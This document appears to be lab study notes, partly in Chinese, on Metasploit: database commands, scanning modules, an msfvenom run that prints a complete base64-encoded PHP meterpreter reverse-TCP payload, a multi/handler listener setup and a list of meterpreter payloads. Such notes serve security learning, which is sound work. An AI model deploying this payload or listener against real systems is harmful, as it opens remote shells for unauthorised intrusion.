Command Description ------- ----------- analyze Analyze database information about a specific address or address range db_connect Connect to an existing data service db_disconnect Disconnect from the current data service db_export Export a file containing the contents of the database db_import Import a scan result file (filetype will be auto-detected) db_nmap Executes nmap and records the output automatically db_rebuild_cache Rebuilds the database-stored module cache (deprecated) db_remove Remove the saved data service entry db_save Save the current data service connection as the default to reconnect on startup db_status Show the current data service status hosts List all hosts in the database loot List all loot in the database notes List all notes in the database services List all services in the database vulns List all vulnerabilities in the database workspace Switch between database workspaces
使用db_nmap 的结果将保存到数据库中
使用hosts 主机信息 services 查看相关版本和开放端口
漏洞扫描模块
vnc扫描模块
如果你使用信息收集收集到了开放了vnc服务则可以使用 use auxiliary/scanner/vnc/
root@ip-10-10-186-44:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64 [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of php/base64 php/base64 succeeded with size 1507 (iteration=0) php/base64 chosen with final size 1507 Payload size: 1507 bytes eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEwLjEwLjE4Ni40NCc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygi.TmxlbiIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7)); root@ip-10-10-186-44:~#
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) > set payload php/reverse_php payload => php/reverse_php msf5 exploit(multi/handler) > set lhost 10.0.2.19 lhost => 10.0.2.19 msf6 exploit(multi/handler) > set lport 7777 lport => 7777 msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description ---- --------------- -------- -----------
Payload options (php/reverse_php):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.0.2.19 yes The listen address (an interface may be specified) LPORT 7777 yes The listen port
root@ip-10-10-186-44:~# msfvenom --list payloads | grep meterpreter android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell apple_ios/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless) apple_ios/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless) apple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless) apple_ios/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless) apple_ios/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless) apple_ios/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless) java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager linux/aarch64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker linux/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless) linux/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless) linux/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless) linux/armbe/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless) linux/armbe/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless) linux/armbe/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless) linux/armle/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection linux/armle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker [...]
